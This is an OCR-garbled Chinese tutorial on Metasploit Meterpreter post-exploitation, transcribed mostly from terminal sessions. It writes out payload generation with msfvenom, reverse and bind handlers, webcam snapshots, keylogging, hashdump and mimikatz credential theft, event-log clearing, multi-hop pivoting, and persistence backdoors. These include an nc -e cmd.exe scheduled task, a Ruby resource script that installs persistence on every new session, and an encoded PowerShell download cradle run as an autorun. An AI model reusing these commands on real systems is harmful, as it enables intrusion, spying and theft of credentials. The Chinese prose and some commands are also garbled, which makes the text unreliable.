msT exploit( ) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > JJ

(3)sessions -k 1 &5R<iE



2. sysinfo iy EF HIrHBIERGE B

- sysinfo
: LAPTOP-VEOMQ3HY
: Windows 10 (Build 10586).
: ¥64 (Current Process is WOWe4)

System Language : zh CN
Domain : WORKGROUP
Logged On Users : 2

: X86/win32

3. execute 4
execute S A BIREN LIMIT—1 S, HP execute -h ERBIER. -f ARITEE
e
terpre execute -f cmd.exe -i -
Process 1108 created.
Channel 1 created.

C:\Users\P-C\Desktop=

4.idletime 74

idletime <A RRERIFE LB LI LRESSHITE, BPHERERIEREEMN
BREREO Y Oz

C:\Users\P-C\Desktop=exit

exit

meterpreter > idletime

User has been idle for: @ secs
meterpreter > |

5.ifconfig 74
ifconfig A ARNEEVRMMEREOR IP HIFFESR



ifconfig

: Software Loopback Interface 1
C : 00:00:00:00:00:00
: 4294967295
] : 127.0.0.1
IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:FFff

Interface

: Intel(R) Dual Band Wireless-AC 3165
: 68:07:15:7d:74:22

: 1560

: 192.168.11.109

: 255.255.255.0

: TeB0::4cd:79e6:7740:78cT

: Tfffeffffeffff:ffft::

: Microsoft Wi-Fi Direct Virtual Adapter
‘Hardware MAC : 68:07:15:7d:74:23
MTU : 1500
IPv4 Address : 169.254.14.175
IPv4 Netmask : 255.255.0.0
IPv6 Address : fe80::7ddc:4e0:9cbl:eaf
IPve Netmask : ffff:ffff:ffff:ffff::

: Bluetooth Device (Personal Area Network)
Hardware MAC : 68:07:15:7d:74:26
MTU : 1500
IPv4 Address : 169.254.210.229
IPv4 Netmask : 255.255.0.0
IPv6 Address : fe80::8836:77d:aaed:d2eb
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > |

6. Migrate 7%

£/ migrate 1R, RATLLUER BRI — 2S5 — iz

LUBRNBE—IRER, EERMER IE ZENREFAATHAN, TRFTREMNSX
F 1IE BTER, IBATNIAY meterpreter RIFRH S XA, NMFHSBIREARGLEERE, B
AEATTT U E R IR HIZ G TIER, 1§ sessions THBBAEZEPHEMEEN. T
SWRHANRSHEED, DERHRENRGITHIERE



> getpid
9872
> run post/windows/manage/migrate

Running module against LAPTOP-VEOMQ3RHVY

Current server process: l.exe (9872)
| Spawning notepad.exe process to migrate to
[+] Migrating to 2648
[+] SU{reHaTully migrated to process 2648
: tor =

7.Search 74

£ search - h &S REF search HSHFHIESR
meterpreter > search - *.txt

|

8.webcam_snap fird

webcam_snap 5 AIE BAREN KR ELARENETR, HRHEABRERREREX
M, webcam_snap - h S HEFSHNERSZE. AT RNAZL S BHFENJIEFESRX,
Fﬁuﬂ',ﬂ])_ﬁ webcam_snap —i 1 -v false @S 2ZFIREILUTER

te r > webcam snap -1 1 -v false
*] Startlng
[+] Got frame
[ Stopped
bcam shot saved to: /root/nzENwVp0.jpeg
neterpreter > ||

9.background 4

meterpreter > background
[*] Backgrounding session 1..

msf exploit( I |

BUNSERERA
— BHEASHS

1. run checkvm #74

RETREINR—TEMNENLER— I EENEHN

meterpreter > run checkvm
[*] Checking if target is a Virtual Machine

[*] This is a Hyper-V Virtual Machine
meterpreter > |

2.run getgui @74

getgui ZRMAFPKHS



meterpreter > run getgui —u username —p password

-

3. rdesktop %4
EffERE kal i KRim T\ rdesktop - u username -p password IP #fTHSZERE
SEHE—ITEO, FTBFEVSEEEHITIES

4, Hashdump %4
run hashdump RIS EBEFHE, BITXMHAFLE meterpreter FTEHIEIELT hashdump 45R
E1%

meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 6ae5285488ca6870clb8b27cfaa®l7el. ..
Meterpreter Exception: Rex::Post::Meterpreter::RequestError stdapi registry |
open key: Operation failed: Access is denied.
This script requires the use of a SYSTEM user context (hint: migrate into se
rvice process)
meterpreter >

5. keylogrecorder fir4
run keylogrecorder S AHIERBEFER, BITXMNHIEFLE meterpreter TEHIREIT
keyscan ERELRE, XBWBEICEHTHHITRE, BEWNT

meterpreter > run keylogrecorder

[*] Starting the keystroke sniffer...

[*] Keystrokes being saved in to /root/.msfd4/logs/scripts/keylogrecorder/192.168
.11.109 20161001.4848. txt

[*] Recording

6. vnc 74
Run vnc RILAEEIX /7R MH

FTE R AEfEE 5IH &= HE =5 FEIE =R

nIJ r'l m - = = [ | - Em_ [a=] FAY i i BEAE ‘_u KALI LI
: M Metasploit3ilgs
53 AN

\E (2000 AF%) FTlze - T/ H BN SCHHE) 4

s (BRem B e W

kA

RiFATe T

latest-linux-x64-ins..




7. packetrecorder fix4

run packetrecorder EEBIMRAZLREMERE, HHAHITHIEBIER, -i 1 HEEIER

HEVAHNF. NTESETZEEENESPTUIRNEEEENBFRRENMER
EBff ..,‘1%?&#11%%]&%1:, ALE THRERPEEESS

-1 @

! _rr"'

Win10 #¥EL&i;E)
8.mimikatz fiy4

meterpreter > load mimikatz

Loading extension mimikatz...

[!'] Loaded x86 Mimikatz on an x64 architecture.
success.

meterpreter > msv

['] Not currently running as SYSTEM

[*] Attempting to getprivs

['] Did not get SeDebugPrivilege

[*] Retrieving msv credentials

msv credentials

Package Domain
User Password

Erreur : Impossible d'obtenir les donn@ies de session

Erreur : Impossible d'obtenir les donnBies de session

WHER , : , %)
trreur : Impossible d'obtenir les donnfies de session




meterpreter > kerberos
| [!'] Not currently running as SYSTEM
[*] Attempting to getprivs

[!'] Did not get SeDebugPrivilege
[*] Retrieving kerberos credentials
kerberos c entials

AuthID k Domain
User
: Impossible d'obtenir données session
: Impossible d'obtenir donn@es de session
-+ Impossible d'obtenir donnfes de session
- : Impossible d'obtenir données session

Erreur : Impossible d'obtenir donn@es session

Erreur : Impossible d'obtenir donnfes de session

FRERFASC
9.post/windows/gather/credentials/sso

AR IR IR B AR S

msf exploit( ) = use post/windows/gather/credentials/sso
msf post( ) > show options

Module options (post/windows/gather/credentials/sso):

MName Current Setting Required Description

SESSION
msf post( ) > set session 1
session =>
msf post( ) > exploit
[*] Running module against LAPTOP-VEOMQ3HY

x64 platform requires x64 meterpreter and mimikatz extension

[*] Post module execution completed
mst post( ) > info

Name: Windows Single Sign On Credential Collector (Mimikatz)
Module: post/windows/gather/credentials/sso

=.Use i BRHS

BT XERIAWS, meterpreter ATLUET A —Ei BIER . FRT RIER, B4 H uset
I'B&



meterpreter > use incognito
Loading extension incognito...success.

meterprefer >

_

1.use sniffer #74

Metasploit Bl & sniffer B, Meterpreter RUX/MESR AT ARM BB C*B2EE
BN L REEMEE: EENIT use sniffer SIER A ERRRMAE

meterprefer > use sniffer
Loading extension sniffer...success.

meterpreter > Jj

sniffer_interfaces ¢ HRMMFHIER, BEIFKIAN 1D K1
sniffer_start 1 FFIAMRIR
2. 8t cmd shell 454

meterpreter > shell

Process 7192 created.

Channel 3 created.

Microsoft Windows [&% 10.0.10586]

C:\Users\P-C\Desktop=j]

3. {2 % screenshot #74

meterpreter > screenshot
Screenshot saved to: /root/BDdMVwjC.jpeg

meterpreter > |j

4, {IREE (S B keyscan iy d

£ keyscan B)—L <, H keyscan_start B BRBIIR, BAIXI HSHE, EiE
WA BHICR, keyscan_dump BETRHHENIZRBER, 2CERBEERHSER.
keyscan_stop & AXHRRICR, TENKRRERFIASWMIE

& 1:

meterpreter > keyscan start
Starting the keystroke sniffer..

meterpreter > |




meterpreter > keyscan dump
Dumping captured keystrokes...
<Return=

meterpreter >

> keyscan stop
btopplng the keystroke sniffer.
meterpreter >

5. B PR$ETF| getsystem

X2 meterpreter FSLHERIAF A REIFNERN—PEEMER, ATXNEM, B
A PRIV extention. ZEIARNZASHY Metasploit 1, Priv extension A BEIEHEFEH
use priv FRIMEBE . RMERKE msf IRAPHAFEHDORX—R, £ getuid RIGH
BIBYALBR, migrate+PID, MFIFRFFBE|PID Jg 500 = administrator PR, FALARITH
Fl administrator BYPILPR, getsystem - h FHZLAPR SYSTEM M. X/MELRAT L SRIZH
FANIBV4F, BTG Meterpreter BEIRENN G ZHESRERGHFZ

6. i HR S

— MG ERE— MR N —MFEHEZMINSHE. Ak, HAIFEE incognito
'R, {EM steal_tokentPID X MHIFHFENIEMAHR steal_token 500, HAEHFIEH
1T ps RIRBIMIEZ2RA, PID fRi%A 500 BIIPR A administrator, FRLAFRMNERITHS
RERRREHRESR, BREMNISMMRINERENIT, FILIEIETT steal_token %L UID

BEBREMHHE clearev 74
#HT “clearev” W14, HBEMREHHE. XIMHSERBEMERISH
meterpreter > clearev

[*] Wiping 6830 records from Application...
stdapi sys eventlog clear: Operation failed: Access is denied.

meterpreter > ||

1T clearev S RITHABIRBHNEHEERETINAERF. B2 REHER
)

8. T&E M

R4 download +file path, 1§ & Bt 2EA0E A PR AT BEE RIS

eterrete > download c:\\pci\1l.txt
[*] downloadlnq c:h\pchl.txt -> 1.txt

[#] download : c:\pchl.txt -> 1.txt
meterpreter > i

9. BECH

upload fy N LA HEIRMNB BRI, EEDPRIIEAET 123. txt EIEFFHEEH



c:\pc\'F

meterpreter > upload 123.txt c:\\pc\\
[*] uploading : 123.txt -> c:\pch

core channel open: Operation failed: The system cannot find the path specifi
ed.
meterpreter > |

RATRE system SIRATBE &5

meterpreter > pwd
C:\Users\P-C\Desktop
meterpreter > getuid

Server username: LAPTOP-VEOMQ3HV\P-C
meterpreter > Jj

10. 85 30
cat filename ELHA AR TEENHNE, WIAGSEESBREARIAEELHNAR

meterpreter > cat pc.txt
p-cmeterpreter > JJ

11. pwd 34
pwd S E L FIFE dos L THIERZE, cd HLTAILINTHATRE, MTEF cd.. K]
BREYABRETHLE—BAR

p-cmeterpreter > pwd
C:\Users\P-C\Desktop

meterpreter > cd ..

meterpreter > pwd
C:\Users\P-C

meterpreter >

BhED

HE: E—EPRMARET-LEERNS®S, BR—EHBANEANA, BRMNX—E
i, REBEREMETE, EXN—EAEAINIR

— . ¥XBY Meterpreter

1. BRERTRITXHE



:~# msfvenom -p windows/meterpreter/reverse https LHOST=192.168.11.105 L
PORT=5555 -T exe > l.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the paylo
ad
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 595 bytes
Final size of exe Tile: 73802 bytes
s~

msf > use multi/handler

msT exploit( ) = set PAYLOAD windows/meterpreter/reverse https
PAYLOAD => windows/meterpreter/reverse https

msf exploit( ) = set LHOST 192.168.11.105

LHOST => 192.168.11.105

mst exploit( ) = set LPORT 5555

LPORT => 5555

msf exploit( ) > set SessionCommunicationTimeout @
SessionCommunicationTimeout ==

msf exploit( ) = set exitOnsession false
exitOnsession => false

f exploit( ) > exploit -j
Exploit running as background job.

Started HTTPS reverse handler on https://192.168.11.105:5555
f exploit( ) = [*] Starting the payload handler..
| https://192.168.11.105:5555 handling request from 192.168.11.109; (UUID: mb4
yljcm) Staging Native payload...
[*] Meterpreter session 1 opened (192.168.11.105:5555 -> 192.168.11.109:51447) a
2016-10-01 22:01:43 +0800

st exploit( ) > sessions

Active sessions

Id Type Information Connection

1 meterpreter x86/win32 LAPTOP-VEOMQ3HV\P-C @ LAPTOP-VEOMQ3HV 192.168.
P5:5555 -> 102.168.11.109:51447 (192.168.11.109)

st exploit(

= . Meterpreter BEARE(SIE

1.Portfwd

portfwd 2 meterpreter iRt —HEFMIRO¥E%R , porfwd FILIREAMKOE A

lth , FEEIR , ERGENT:



meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]

OPTIONS:

-L <opt> Forward: local host to listen on (optional). Remote: local host to
connect to.

-R Indicates a reverse port forward.

-h Help banner.

-1 <opt> Index of the port forward entry to interact with (see the "list" ¢
ommand) .

-1 <opt> Forward: local port to listen on. Reverse: local port to connect t
0.

-p <opt> Forward: remote port to connect to. Reverse: remote port to listen

Forward: remote host to connect to.

AFWF -h BEREET EEHHER

{EAEGINE : 5§ 192.168.11.109 im0 3389 EAith 33891 HiElfr WNE :

230

meterpreter > portfwd add -1 1234 -r 192.168.11.109 3389
You must supply a local port, remote host, and remote port.

meterpreter > |

( RERMIENR win10 RE , REAFREMARO , FALIBERRHIZENRDO , BEXE

HWARREAFEE | iLARRBEME T — 4 E6E T —KE )

MEBEEELREL , FAITLAESIEIE netstat -an | grep "33891"

EE SRS 33891 iR OIBPRTEREZ =R 192.168.11.109 3389 ikl

Rdesktop 127.0.0.1 33891 t—EPHBELARNBTXNMGS

:~# rdesktop 127.0.0.1 33891
rdesktop: A Remote Desktop Protocol client.
Version 1.8.3. Copyright (C) 1999-2011 Matthew Chapman et al.
bSee http://www.rdesktop.org/ for more information.

Usage: rdesktop [options] server[:port]

R meterpreter FHAR MEEMLATEIRFIES



2.pivot

pivot & meterpreter &ERAR—HAE , AILIRMEIRINBAERZEERANIFIRT

ENET pivot (7% route add FhNIGEIIEHE

{£ metasploit;FIl— M EHZE BH2i510 10.1.1.129 18181 meterpreter flI21E 1 K

inE

meterpreter > route

meterpreter > run get local subnets BEEIRHER

10.1.1.129 255.255.255.255 1 FH{IpYIEHIRERRXA

Ms exploit(handler) > route add 10.1.1.129 255.255.255.255 1 {RINIEBEESE
[*] Route added
msf exploit(handler) > route print

Active Routing Table



Subnet Netmask Gateway

10.1.1.129 255.255.255.255 Session 1

XEBUNREE(E 10.1.1.129/24 F session 1, MAILLXAE

EiXE pivot BEREEIFT . {RTE msf B 10.1.1.129 #1513 (db_nmap)KEika
(psexe 18R , ssh {EHRE)ISIBT (LI session 1 XAMRIERIGIE , MNRAETEHtRF
EFRERXMUBEZDR , ZXEHRTLAER metasploit socks4a i2{E—MISIFRIE

HE MR EERGE :

B5%EA socks4a HBEEE , KfixO

msf exploit(handler) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):

Name Current Setting Required Description

SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
Auxiliary action:

Name Description

Proxy

msf auxiliary(socks4a) > exploit -y



[*] Auxiliary module execution completed
msf auxiliary(socks4a) >

[*] Starting the socks4a proxy server

=gy m

root@kali:~# netstat -an | grep "1080"

tcp 0 00.0.0.0:1080 0.0.0.0:* LISTEN

iROB4&MIF , IFEE&E proxychains

root@kali:~# vim /etc/proxychains.conf

[ProxyList]

# add proxy here ...

# meanwileroot@kali:~# netstat -an | grep "1080"

tcp 0 00.0.0.0:1080 0.0.0.0:* LISTEN
# defaults set to "tor"

socks4 127.0.0.1 1080

EEMFLAREEMER proxychains #iTCERSR , X&)k 10.1.1.129 3389 ixO



rdesktep - 10.1.1.129

i

ngs*Adninistrator>ipeonfig

and Settings“Adninistrator?

CH g RO '13:1-:: |

i falling back to 16

EILAEEI EERIIAIE
= . SRR
1. ZRCIERIE

LENMET meterpreter BitiRIIESZ | (ERBLLRIFRAGEEIRMER , BENTH
IR(ARIMNEE A, B, A#ETILARISMER | (BRIGEERIRTERE | ReanRRSr9PRR
tas . B H3aARRERIIMER: , (BERALIHEIRSZOIRSHNES . A. B ZETILAEHEIS

1) ., WNRFEABED B =532 0 IRSTINBZHTIEIHEZE LD ?
XEHEFEANIF meterpreter fY pivot AEEIASEM —RAEFRTILA

WRREE:attacker->xp-test1->xp-test2



BEEE LR  BIIEEF— xp-test1 LKA meterprter 7, IEERIIERE —

IERRSHRATSC

root@kali:~# msfvenom -p windows/meterpreter/bind tcp RHOST=0.0.0.0 L

PORT=4444 -f exe > Rmeter.exe

4Rk IFLARRTE xp-test2 EEIETT

IBE1E msf BEFIMNEH

msf exploit(handler) > route add 10.1.1.129 255.255.255.255 2
[*]1 Route added
msf exploit(handler) > route print

Active Routing Table

10.1.1.129 255.255.255.255 Session 2

EEIZIER meterpreter SREVR

msf exploit(handler) > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows//bind tcp
PAYLOAD => windows/meterpreter/bind tcp

msf exploit(handler) > set RHOST 10.1.1.129

RHOST => 10.1.1.129



msf exploit(handler) > show options
Module options (exploit/multi/handler):

Name Current Setting Required Description
Payload options (windows/meterpreter/bind_tcp):

Name  Current Setting Required Description

EXITFUNC process yes Exit technique (accepted: seh, thread, proce
SS, hone)
LPORT 444 yes The listen port

RHOST 10.1.1.129 no The target address
Exploit target:
Id Name
0 Wildcard Target
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description

Payload options (windows/meterpreter/bind_tcp):



Name  Current Setting Required Description

EXITFUNC process yes Exit technique (accepted: seh, thread, proce
SS, hone)
LPORT 4444 yes The listen port

RHOST 10.1.1.129 no The target address
Exploit target:
Id Name
0 Wildcard Target
msf exploit(handler) > run
[*] Started bind handler
[*] Starting the payload handler...
[*] Sending stage (770048 bytes)
[*] Meterpreter session 3 opened (192.168.101.105-192.168.101.107:0 -> 10.1.

1.129:4444) at 2015-01-11 13:34:37 +0800

MTESLFIRANF xp-test2 BIRIR , iTTXERiBiT xp-test1 pivot {{IE

TEFRISET , EE xp-test2 4444 ix0O

C:\Documents and Settings\Administrator>netstat -an | find "4444"

TCP 10.1.1.129:4444 10.1.1.128:1051 ESTABLISHED



=iET xp-test1 HITIEER.

ZHEZHRAECEERET  RULLRNEEHEMN ip HEHE , EIEZEMN

session(session 3) , FARJLA{EA metaploit BIEEIRIGREKTHE T

2. =HENSH/NIE

ARE FRARESRNAMFR  BEEFTE=EHEHZENE , FIESRERM , &g

ER=EAIERYEAE EiH TR

=B : attacket->xp-test1->xp-test2->xp-test3->.....

SHEEEM , ITFsEm

msf exploit(handler) > sessions -I

Active sessions

Id Type Information Connection

2 meterpreter x86/win32 XP-TEST1\Administrator @ XP-TEST1 192.168.10
1.105:444 -> 192.168.101.107:51205 (10.1.1.128)

4 meterpreter x86/win32 XP-TEST2\Administrator @ XP-TEST2 192.168.10
1.105-192.168.101.107:0 -> 10.1.1.129:4444 (10.1.1.129)
msf exploit(handler) > route add 10.1.1.131 4
[-]1 Missing arguments to route add.

msf exploit(handler) > route add 10.1.1.131 255.255.255.255 4



[*1 Route added
msf exploit(handler) > route print

Active Routing Table

10.1.1.129 255.255.255.255 Session 2
10.1.1.131 255.255.255.255 Session 4
msf exploit(handler) > set RHOST=10.1.1.131
[-] Unknown variable
Usage: set [option] [value]
Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.
If run from a module context, this will set the value in the module&#039;s
datastore. Use -g to operate on the global datastore
msf exploit(handler) > set RHOST 10.1.1.131
RHOST => 10.1.1.131
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description

Payload options (windows/meterpreter/bind_tcp):



Name  Current Setting Required Description

EXITFUNC process yes Exit technique (accepted: seh, thread, proce
SS, hone)
LPORT 4444 yes The listen port

RHOST 10.1.1.131 no The target address
Exploit target:
Id Name
0 Wildcard Target
msf exploit(handler) > run
[*] Started bind handler
[*] Starting the payload handler...
[*] Sending stage (770048 bytes)
[*] Meterpreter session 5 opened (192.168.101.105- 1 -192.168.101.107:
0 -> 10.1.1.131:4444) at 2015-01-11 13:45:53 +0800
meterpreter > background
[*] Backgrounding session 5...
msf exploit(handler) > sessions -I

Active sessions

Id Type Information Connection



2 meterpreter x86/win32 XP-TEST1\Administrator @ XP-TEST1 192.168.10
1.105:444 -> 192.168.101.107:51205 (10.1.1.128)

4 meterpreter x86/win32 XP-TEST2\Administrator @ XP-TEST2 192.168.10
1.105-192.168.101.107:0 -> 10.1.1.129:4444 (10.1.1.129)

5 meterpreter x86/win32 XP-TEST3\Administrator @ XP-TEST3 192.168.10
1.105- 1 -192.168.101.107:0 -> 10.1.1.131:4444 (10.1.1.131)
£ xp-test3 BEIRCEE
C:\Documents and Settings\Administrator>netstat -an | find "4444"

TCP 10.1.1.131:4444 10.1.1.129:1032 ESTABLISHED
{£ xp-test2 &HF 4444 ix0O
C:\Documents and Settings\Administrator>netstat -an | find "4444"

TCP 10.1.1.129:1032 10.1.1.131:4444 ESTABLISHED

TCP 10.1.1.129:4444 10.1.1.128:1054 ESTABLISHED

IHEBBEEM =& , BD attacker->xp-test1->xp-test2->xp-test3

EENANZZENRRSEERAIINE  BFREXRESEE—TRIENREEENE |

AR B CEERIMR NI

BT

s
d



A E—EHRANKEINRERIED , MM IGEEREE , IEFIA skd (L2 , XX
BoEMERTEER  EXAMANEREFMERNEHRER  X—EBRIIFIANR—TEE
REINRYESR , metasploit [FIIHAT LA , BENAREZU=HIREFIAINEEE=

B

— . Msf REERIETIREF
E5%NE—T metasploit FEESEMTILISIESEIE S

1.Persistence

AFeEEIENE , SEUEREME | IENH , REBERNI=H

root@P-C: ~

XH(F) RIB(E) ZE(N) HEZE(S) Hm(T) #HEEIH)

C:\Users\P-C\Desktop

meterpreter > run persistence -h

Meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:

-A Automatically start a matching exploit/multi/handler to connect to
the agent
-L <opt> Location in target host to write payload to, if none %TEMP% will b
e used.
-P <opt> Payload to use, default is windows/meterpreter/reverse tcp.
3 -5 Automatically start the agent on boot as a service (with SYSTEM pr
ivileges)
-T <opt> Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-1 <opt> The interval in seconds between each connection attempt
-p <opt> The port on which the system running Metasploit is listening
-r <opt> The IP of the system running Metasploit listening for the connect
back

meterpreter =

{2 run persistence —A -U —i 5 —p 443 -r 192.168.11.109

/- AT RIZEARSS, -U 7 HKCURMB BTN, -X 7 HKLM R E3h

RESCILFEIHETHRERI M AT A -



exploit/windows/local/persistence.rb
exploit/windows/locallregistry_persistence.rb

2, Metsve

AT HIEREZBEN. S0 meterpreter fR35, HLE=Z/NXH, REGHIRRESHE
RERBRFZFTEEEGBR

meterpreter > run metsvc -h
OPTIONS:

-A Automatically start a matching exploit/multi/handler to connect to
the service

-h This help menu

-r Uninstall an existing Meterpreter service (files must be deleted m
anually)

meterpreter

EFZEG: run metsve -A R -r SHATEEHRS

3. Scheduleme & Schtasksabuse

XANHAERIET schtasks KB IHRIESKIABILEFRAOE B, X5 2 scheduleme
EEUMHIHEHE RS EENPR, T schtasksabuse MFAEE G R MBRE SRk
8)

iR

(1) Schedul eme



meterprefer > run scheduleme -

Scheduleme -- provides most common scheduling types used during a pentest
This script can upload a given executable or script and schedule it to be
executed. A1l scheduled task are run as System so the Meterpreter process
must be System or local admin for local schedules and Administrator for
remote schedules

OPTIONS:

-c¢ <opt> Command to execute at the given time. IT options for execution nd
eded use double guotes
-d Daily.

-e <opt> Executable or script to upload to target host, will not work witk
remote schedule
Help menu.
- <opt> Every specified hours 1-23.

Run command imediatly and only once.
When a user logs on.

<ppt> Every specified amount of minutes 1-1439

<ppt> Options for executable when upload method used
Password for account provided.
Remote Schedule. Executable has to be already on remote target
At system startup.
Remote system to schedule job.
Username of account with administrative privelages.

meterpreter > |

run scheduleme -m 1 —e /tmp/nc.exe —o "—e cmd. exe —-L —p 8080" # 4% nc 36t
UEST—HHMIT—K 'nc —e ond. exe -L —p 8080

run scheduleme -m 1 —¢ "cmd /c calc.exe" # SIEIHRIEZST—NMNITRITHFIHE
RS

(2) Schtasksabuse



meterpreter > run schtasksabuse -h

[*] Meterpreter session running as LAPTOP-VEOMQ3HVA\P-C

[*] This Meterpreter script is for running commands on targets system using the
[*] Windows Scheduler, it i1s based on the tool presented but not released by Val
Smith

[*] in Defcon 16 ATAbuser. IT no user and password is given it will use the perm
issions

[*] of the process Meterpreter is running under.

[*] Options:

[*]

-c <opt> Commands to execute. Several commands can be given but separated b
y commas and enclose the list in double quotes if arguments are used.
-d <opt> Delay between the execution of commands in seconds, default is 2 s
econds if not given.
-h Help menu.
-1 <opt> Text file with list of targets, one per line.
-p <opt> Password for user account specified, it must be given if a user is
given.
<opt> Text file with list of commands, one per line.
<opt> Remote system to schedule job.
<opt> Username to schedule task, if none is given the current user crede
ntials will be used.

meterpreter =

run schtasksabuse -t 192.168.11.109 —c "cmd /c calc.exe" —d 4 #5PE 4 17—
Rcalc.exe (FRAMEATEM-tESH
BESCH R ThRE R B AT

exploits/windows/local/sd4u_persistence. rb

—. BEhBEHEA

RBEANESITHZE, BT autorunscript. autorunscript @— 1B KRB, 7T
RULBRNEERSENER, HITEERNRE. RETLLEREET autorunser ipt SREH#E
BRAMBMABLZSE 66 1, HFF metasploit/scripts/meterpreter, BIiEREE, FKE
MEEBFE, TARINEMBI migrate, uploadexec F

EANGTF, MRBNVEERDBISIERNER, 1T persistence HITEEITIRIETT U ERE
XA

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.11. 110

set LPORT 5555



set ExitOnSession false
set AutoRunScript persistence —-r 192.168.11.110 —p 5556 —U -X —i 30
(FE# AT L B metsveset set AutoRunScript metsve —A)

exploit —j -z

HEMKELUE, BEIAIT persistence

L ER#HERRESHRRES
BAABANRERBIBIZA multi console command & multicommand
1.multi_console_command

RKAT msf B SHIAZE, HEERMT:

msT exploit( ) = sessions -1 1
[*] Starting interaction with 1..

meterpreter > run multi console command -h
Console Multi Command Execution Meterpreter Script

OPTIONS:

-cl <opt> Commands to execute. The command must be enclosed in double quote
s and separated by a comma.

-h Help menu.

-rc <opt> Text file with list of commands, one per line.

meterpreter =

i di:ENEE

meterpreter > run multi_console_command —cl "pwd"

cl BHARMNIT—5 meterpreter IS, rc SEARMITE % meterpreter €, RIT
5E|

meterpreter > run multi console command -cl "pwd"
[*] Running Command List ...

[*] Running command pwd
C:\Users\P-C\Desktop
meterpreter > |

2. multicommand



FRHIT omd i3 SHIBIZ

FHARF: run multicommand —c| "whoami"

meterpreter > run multicommand -cl “whoami"
[*] Running Command List ...

[*] running command whoami

[*]

:*j sk ok sk o o o ok ok o o s ok sk ok ok ok ok ok ok ok o o s ok skook ok ok sk ok ok ok o ok ok sk ok

|

[*] Output of whoami

[#] FFdkkkdkkdokk ok kokok ko ok kR kR ok Rk skok ok ko ok
I
|

*] laptop-veomg3hvip-c
meterpreter > |

LB W] A SRAIT omd <

=. Resource Bz

BR T ERA LA E Autorunscript, f£F Resource MIZHBEFILR, BERMNEIL rc BAK
RNARIXEEH:

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.11.109

set ExitOnSession false

exploit —j -z

HULARREER 1. re, RAERITUTHS:

msfconsole -r 1.rc

BEABEMEE T RIMN—F—FRANED B, re XHEEWRATEE ruby KR,
— M ERRRBINT

use exploit/multi/script/web_delivery

set target 2

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.11.110

set Iport 6666

set uripath /

set ExitOnSession false



exploit —j

<ruby>
sleep(1)
print_status ("Waiting on an incoming sessions...")
while (true)
framework. sessions. each_pair do |sid, s|
thost = s. tunnel _peer.split(":") [0]
# Ensure that stdapi has been loaded before running
if s.ext.aliases['stdapi’]
sleep (2)
print_status ("run screenshot to session #{sid} #{thost}...")
s. console. run_single ("screenshot")
sleep(2)
print_status ("Executing persistent command...")
s.console. run_single ("run persistence —r 192. 168. 11. 110-p 5556 -U
-i 30")

sleep (4)

print_status("Closing session #{sid} #{thost}...™)

s. kill

print_status("Waiting on an incoming sessions...")

else

print_status ("Session #{sid} #{thost} active, but not yet
configured")

sleep (15)

end

end
sleep (4)

end

print_status ("All done")

</ruby>



fE L L Resource IR E, FFIB exploit/multi/script/web_delivery #{TEEHFE
B, HEE—PSEUE, BEIIT screenshot LUK persistent #E, REXFZHE]
SRR EFF

M. Sedi=

EZk, RANSLALUBEEER autorunscr ipt &M ruby XTBAY resource BIZA &
A KL msf TEFFESIERIEIE BB Persistent Backdoor T, B4 AVH—XEA
BR? HES, REALMIE, Powershel | FELE AV EBAFEHHR, BRI IXER

Powershel |
MRS T

1. BEF%iET web_del ivery BY PSH FEBRE|— meterpreter £1iF.
2, WEGEHRESHSUT:

schtasks /create /tn mytask /tr notepad. exe /sc hourly /mo 1 #iEES
1 INEFHIET—IX notepad. exe

3. L EHS BN schtasks. ps1, REET IEX TEHRIT, XHARABRFASHEERT :
powershel |l —nop —exec bypass —c "IEX (New-Object

Net. WebCl ient).DownloadString (' https://raw. githubusercontent. com/Rid
ter/Pentest/master/powershel | /DemoShel | /schtasks. ps1') ;"

4. S EN autorunscript BFHSHEESIS, ATLBETRBAABR, FHNT:
echo "1EX (New-0b ject
Net. WebCl ient).DownloadString (' https://raw. githubusercontent. com/Rid
ter/Pentest/master/powershel | /DemoShel | /schtasks. ps1') ;" | iconv
——to—code UTF-16LE |base64



REHITHHSH:

powershel | -ep bypass —enc
SQABFAFgA 1 AAcAE4AZQOB3ACOATwB i AGoAZQGB jAHQA | ABOAGUAdAAUAFcAZQB i AEMAbABp
AGUAbgBOACKAL gBEAG8AdwBuAGwAbwBhAGQAUWBOAH | AaQBuAGcAKAANnAGgAdABOAHAA
cwAGACBALwWByAGEAdwAuAGcAaQBOAGgAdQB i AHUAcwB | AHI AYwBvAG4AdAB | AG4AAdAAU
AGMAbwBtAC8AUgBpAGQAdAB | AH | ALWBQAGUAbgBOAGUAcwBOAC8AbQBhAHMAJAB | AHI A
LwBwAG8AdwB | AHI AcwBoAGUAbABSAGBARAB | AGOAbwBTAGgAZQOBsAGwALwBzAGMA2ABO
AGEAcwBr AHMALgBwAHMAMQANACKAOWAKAA==

5. 2 BERITMTEAZ multicommand AT, BalEITHHSH:

set autorunscript 'multicommand —cl "powershell —ep bypass —enc
SQBFAF gA 1 AAcAE4AZQB3ACOATwB i AGoAZQB jAHQA | ABOAGUAdAAUAF cAZQB i AEMAbABp
AGUAbgBOACKAL gBEAG8AdwBuAGWAbwBhAGQAUWBOAH | AaQBuAGcAKAANAGgAdABOAHAA
